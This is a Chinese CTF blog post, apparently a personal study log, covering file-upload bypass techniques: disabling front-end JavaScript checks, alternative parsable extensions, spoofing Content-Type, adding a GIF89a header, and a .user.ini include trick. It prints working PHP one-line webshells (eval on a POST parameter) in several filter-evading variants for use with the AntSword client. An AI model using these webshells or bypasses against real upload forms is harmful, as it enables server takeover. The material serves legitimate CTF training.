CTF文件上传相关(持续更新)
前端绕过
[CTFHub] 前端验证
https://www.ctfhub.com/#/skilltree
前端验证有两种解决办法绕过:
1.在浏览器中禁用JavaScript
2.先把文件后缀改成符合上传的后缀,通过burp抓包把后缀改回.php格式再重新发送。
这里从F12可以看到启用了前端JS验证,采用第一种方法绕过,禁用JS。为了方便可以安装一个Chrome扩展,一键启用/禁用JS
禁用JS后再上传php一句话,使用蚁剑连接即可。
黑名单绕过
[SWPUCTF 2021 新生赛] easyupload2.0
https://www.nssctf.cn/problem/423
黑名单绕过的思路就是使用其它可以使网站解析的文件后缀,这里放张表:
语言 | 可解析后缀 |
---|---|
ASP/ASPX | asp,aspx,asa,ascx,ashx,asmx,cer,cdx |
PHP | php,php5,php4,php3,phtml,pht |
JSP | jsp,jspx,jspa,jsw,jsv,jspf,jtml |
第十五届极客大挑战 baby_upload
文件名填 a.php
会被WAF拦截,填 a.php.php
上传成功。
MIME绕过
[CTFHub] MIME验证
https://www.ctfhub.com/#/skilltree
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。MIME消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。常见的MIME类型如下:
文件扩展名 | MIME-Type |
---|---|
.js | application/x-javascript |
.html | text/html |
.jpg | image/jpeg |
.png | image/png |
application/pdf |
这道题只需要通过burp抓包,将 Content-Type 改为 image/png 即可绕过,再使用蚁剑连接即可。
文件头绕过
[CTFHub] 文件头检查
https://www.ctfhub.com/#/skilltree
这道题只允许上传 jpeg jpg png gif 类型的文件,通过burp抓包,将 Content-Type 改为 image/png 或 image/gif,再添加GIF89A文件头即可绕过。
字符绕过
正常的一句话木马:<?php eval($_POST['pass']); ?>
- 如果过滤了
php
或<?php
,可以使用短标签绕过,即<?= eval($_POST['pass']); ?>
- 如果过滤了
[ ]
,可以使用{ }
绕过,即<?php eval($_POST{'pass'}); ?>
- 如果过滤了
'
,可以不使用单引号,语句正常执行,即<?= eval($_POST[pass]); ?>
- 如果过滤了
<?
,可以用script标签绕过,即<script language='php'>eval($_POST['pass']);</script>
.user.ini
1 | auto_append_file=yjh.jpg //相当于在每个php文件尾加上 include('yjh.jpg') |
利用.user.ini的方法:保证三个文件(.user.ini、yjh.jpg、xx.php)在同一目录下,再执行该目录下的php文件。
[SUCTF 2019] CheckIn
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 go0d1uck's Blog!